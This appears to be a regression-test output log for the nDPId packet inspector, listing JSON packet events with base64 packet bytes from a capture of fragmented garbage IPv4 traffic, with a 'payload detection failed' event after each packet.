+00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650907,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650915,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650924,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650932,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650961,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650969,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650976,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651013,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651047,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651065,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651087,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651141,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651151,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651166,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651213,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651224,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651239,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651250,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651281,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651291,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 